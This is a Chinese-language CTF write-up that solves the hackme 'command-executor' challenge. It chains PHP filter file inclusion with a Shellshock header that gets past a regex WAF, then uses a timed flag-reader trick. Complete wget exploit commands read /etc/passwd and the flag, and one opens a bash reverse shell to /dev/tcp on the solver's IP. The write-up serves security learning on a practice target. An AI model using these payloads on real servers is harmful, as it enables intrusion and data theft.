这里先给出题目链接:
https://command-executor.hackme.inndy.tw/
这是一道不错的ctf题,首先说一下考察点:
文件包含读源码 代码分析结合CVE CVE导致的命令执行 写入文件/反弹shell 思考c文件的解法 重定向获取flag
我们先看一下题目主页面:
发现有敏感的选项,我们尝试点击:
发现可以遍历目录,但是对输入的命令有限制,只能执行ls,env 。
但是我们观察上图发现有几个php的文件名有似曾相识的感觉,比如 cmd.php , ls.php ,
man.php , untar.php 这几个php的文件名 ls , cmd , untar 像是url中func包含过来的参数,
这样的话,是不是存在文件包含漏洞,我们构造poc:
php://filter/read=convert.base64-encode/resource=index
这样的话,我们用func接受这个参数,就可以读到base64加密过后的index.php文件:
成功读到base64加密过后的index.php文件,我们解密分析:
<?php $pages = [ [‘man‘, ‘Man‘], [‘untar‘, ‘Tar Tester‘], [‘cmd‘, ‘Cmd Exec‘], [‘ls‘, ‘List files‘], ]; function fuck($msg) { header(‘Content-Type: text/plain‘); echo $msg; exit; } $black_list = [ ‘\/flag‘, ‘\(\)\s*\{\s*:;\s*\};‘ ]; function waf($a) { global $black_list; if(is_array($a)) { foreach($a as $key => $val) { waf($key); waf($val); } } else { foreach($black_list as $b) { if(preg_match("/$b/", $a) === 1) { fuck("$b detected! exit now."); } } } } waf($_SERVER); waf($_GET); waf($_POST); function execute($cmd, $shell=‘bash‘) { system(sprintf(‘%s -c %s‘, $shell, escapeshellarg($cmd))); } foreach($_SERVER as $key => $val) { if(substr($key, 0, 5) === ‘HTTP_‘) { putenv("$key=$val"); } } $page = ‘‘; if(isset($_GET[‘func‘])) { $page = $_GET[‘func‘]; if(strstr($page, ‘..‘) !== false) { $page = ‘‘; } } if($page && strlen($page) > 0) { try { include("$page.php"); } catch (Exception $e) { } }
我们发现了一个比较敏感的putenv()函数,这个函数的作用是用来向环境表中添加或者修改环境变量
结合唯一可以执行的env命令想到2014年的一个重大漏洞:
CVE-2014-6271 破壳(ShellShock)漏洞
具体漏洞详情我会在稍后的博客中复现这个漏洞,清持续关注我的博客。
这里先贴出Freebuf的分析连接:
http://www.freebuf.com/articles/system/45390.html
确定了漏洞,就是尝试可用exp的时候了,这时候可以容易google到
这样一篇文章:
https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php
其中重点的一段如下:
可以清楚看到这样一个payload:
wget --header="X-Exploit:(){:;};echo Hacked" -q -O - http://127.0.0.1/shock.php
并且和这个测试样本和我们题目中给出的代码十分相似:
foreach($_SERVER as $key => $val) { if(substr($key, 0, 5) === ‘HTTP_‘) { putenv("$key=$val"); } }
于是我们先去尝试一下适用性:
可以发现我们被waf拦截了:
\(\)\s*\{\s*:;\s*\}; detected! exit now.
回去分析index.php的waf过滤点:
$black_list = [ ‘\/flag‘, ‘\(\)\s*\{\s*:;\s*\};‘ ]; function waf($a) { global $black_list; if(is_array($a)) { foreach($a as $key => $val) { waf($key); waf($val); } } else { foreach($black_list as $b) { if(preg_match("/$b/", $a) === 1) { fuck("$b detected! exit now."); } } } }
可以看到如上一个黑名单,
我们的
X-Exploit: () { :; };
正是被这个黑名单禁止了,但是这样的waf存在极大隐患,我们只要加个空格就可以轻松绕过:
X-Exploit: () { : ; };
我们再次攻击一次试试:
wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
可以看到Hacked成功被打印出来,说明我们的poc起了作用,下面我们开始执行命令,
不过需要注意的是,shellshock执行命令需要加上/bin/ , 比如 cat 命令直接读是读不出来的,
需要 /bin/cat 才可以,我们尝试读 /etc/password : /bin/cat /etc/password
wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
发现命令可以成功执行,下面我们就用命令ls来寻找flag:
https://command-executor.hackme.inndy.tw/index.php?func=ls&file=../../../../../../
我们尝试使用cat来读一下flag文件:
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../flag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
oh,shit...又被waf拦了
这里有没有办法绕过/flag呢?
这里给出两条思路:
1.shell拼接,比如a=/fl;b=ag;c=a+b这样(此处写的不严谨,有兴趣可以自己去研究一下) 2.通配符绕过
这里我选择第二点:
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
但这次并没有回显打出,但也没有报错,考虑是应为文件权限导致,
回去查看文件权限:
发现只有root才可读....
发现下面有一个c语言写的flag-reader.c,这个文件倒是有读的权限,
我们读一下他看有什么线索:
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
打出回显:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Command Executor</title> <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all"> <link rel="stylesheet" href="comic-neue/font.css" media="all"> <style> nav { margin-bottom: 1rem; } img { max-width: 100%; } </style> </head> <body> <nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex"> <a class="navbar-brand" href="index.php">Command Executor</a> <ul class="navbar-nav"> <li class="nav-item"> <a class="nav-link" href="index.php?func=man">Man</a> </li> <li class="nav-item"> <a class="nav-link" href="index.php?func=untar">Tar Tester</a> </li> <li class="nav-item"> <a class="nav-link" href="index.php?func=cmd">Cmd Exec</a> </li> <li class="nav-item"> <a class="nav-link" href="index.php?func=ls">List files</a> </li> </ul> </nav> <div class="container"><h1>Command Execution</h1> <ul><li><a href="index.php?func=cmd&cmd=ls">ls</a></li><li><a href="index.php?func=cmd&cmd=env">env</a></li></ul> <form action="index.php" method="GET"> <input type="hidden" name="func" value="cmd"> <div class="input-group"> <input class="form-control" type="text" name="cmd" id="cmd"> <div class="input-group-append"> <input class="btn btn-primary" type="submit" value="Execute"> </div> </div> </form> <script>cmd.focus();</script> <h2>$ env</h2><pre>#include <unistd.h> #include <syscall.h> #include <fcntl.h> #include <string.h> int main(int argc, char *argv[]) { char buff[4096], rnd[16], val[16]; if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) { write(1, "Not enough random\n", 18); } setuid(1337); seteuid(1337); alarm(1); write(1, &rnd, sizeof(rnd)); read(0, &val, sizeof(val)); if(memcmp(rnd, val, sizeof(rnd)) == 0) { int fd = open(argv[1], O_RDONLY); if(fd > 0) { int s = read(fd, buff, 1024); if(s > 0) { write(1, buff, s); } close(fd); } else { write(1, "Can not open file\n", 18); } } else { write(1, "Wrong response\n", 16); } } </pre></div> </body> </html>
审计这个c程序,大致原理就是:1秒之内把他输出的再输入回去,就可以打出文件内容
此时我们的思路很简单,运行这个c程序,再把这个c程序输出在1s内再输回去,但是纯靠这样的交互,
速度极慢,所以容易想到,要不要拿个shell?
这里给出2种拿shell的思路
1.反弹shell 2.找到可写目录,并写入文件,利用文件包含即可
这里我选择反弹shell(因为后面还会写文件,所以这里选择反弹,就不写了)
wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
然后一会儿就能收到shell
而下面就只要解决如何在1s内输入c文件输出的结果这个问题了
这里我选择了linux下的重定向,我们将输出写到某个文件中,再自动输入即可,这样即可达到目的
我们先去探索可写目录,发现 /var/tmp具有写权限
我们测试一下:
然后来看写进去了没有:
成功写入文件,证明这个目录可以利用,我们构造:
flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag
即可在skyflag中读到flag
原文地址:https://www.cnblogs.com/bmjoker/p/9537667.html